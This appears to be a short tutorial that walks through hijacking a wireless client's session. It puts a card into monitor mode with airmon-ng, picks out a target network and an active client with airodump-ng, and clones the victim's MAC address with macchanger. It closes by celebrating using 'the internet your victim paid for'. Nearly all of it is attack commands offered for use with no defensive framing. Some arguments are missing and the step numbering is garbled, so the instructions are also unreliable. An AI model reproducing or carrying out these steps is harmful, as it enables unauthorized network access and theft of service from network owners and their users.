**IMPORTANT: Your wireless card does not have to be compatible for packet injection!!! If it will work when you type airmon-ng start then you are good to go! 99% of wireless cards will work for this!
First, find your wireless device name, usually “wlan0”, and put it in monitor mode with airmon-ng:
sudo airmon-ng start wlan0
**note, your device is probably named “mon0” now, or if it is USB, the name may not have changed.
Now, scan for your target network, by typing:
sudo airodump-ng mon0
1.Look for the list of networks, find the one you are targeting, and copy the BSSID:
2. Now, you are going to filter out other networks and users by monitoring just the network you are targeting:
sudo airodump-ng –bssid mon0
3. Find an active session with a host that we can steal:
4.copy the MAC address of the client whose session we are going to steal.
5.stop monitor mode on your wireless device, if it is usb, just unplug it and plug it back in, if it is a wireless card type:
sudo airmon-ng stop mon0 **note: if your device is not “mon0” just type whatever it was after you started it.
6.Now, you are going to spoof your mac address to match the client we just copied:
1.stop the wireless device: sudo ifconfig wlan0 down **substitute wlan0 for your device name.
2.change the mac address: sudo macchanger -m wlan0
2.start the wireless device sudo ifconfig wlan0 up **substitute wlan0 for your device name
7.Use the connection manager to connect, and you have now stolen a session, and can use the internet your victim paid for!